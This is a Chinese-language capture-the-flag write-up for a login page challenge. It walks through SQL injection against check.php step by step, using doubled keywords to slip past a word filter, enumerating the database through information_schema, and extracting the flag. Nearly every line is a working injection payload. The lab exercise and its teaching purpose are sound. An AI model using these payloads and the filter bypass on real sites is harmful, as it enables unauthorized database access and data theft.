启动靶机,发现是一个登录框,输入万能密码,不成功。输入order by,select,union等语句,发现被过滤了,尝试双写绕过
判断列数:
/check.php?username=' oorrder bbyy 4%23&password=123456
order by 为4时报错,说明只有三列
寻找显示位:
/check.php?username=' uniunionon seleselectct 1,2,3%23&password=123456
既然2,3为显示位,那我们就爆库,爆表,爆列
/check.php?username=' uniunionon seleselectct 1,2,group_concat(schema_name) from information_schema.schemata%23&password=123456
标蓝所示有报错,感觉可能有字段被过滤了,尝试from双写
/check.php?username=' uniunionon seleselectct 1,2,group_concat(schema_name) frofromm information_schema.schemata%23&password=123456
from双写后,提示infmation_schema.schemata这个表有问题,这个表和我们注入的表正好差了个or,看来是过滤了or,尝试双写
/check.php?username=' uniunionon seleselectct 1,2,group_concat(schema_name) frofromm infoorrmation_schema.schemata%23&password=123456
感觉flag在ctf表中
/check.php?username=' uniunionon seleselectct 1,2,group_concat(table_name) frofromm inforormation_schema.tables where table_schema='ctf'%23&password=123456
再次报错,table_schema在爆库的时候用过,应该没问题,所以过滤了where,那我们双写where
/check.php?username=' uniunionon seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='ctf'%23&password=123456
/check.php?username=' uniunionon seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema='Flag'%23&password=123456
依旧是报错(懒得截图了)
尝试双写
/check.php?username=' uniunionon seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema='ctf' anandd table_name='Flag'%23&password=123456
/check.php?username=' uniunionon seleselectct 1,2,group_concat(flag) frfromom ctf.Flag%23&password=123456
拿到flag flag{04d50969-863a-4153-ae84-f755df0c8b20}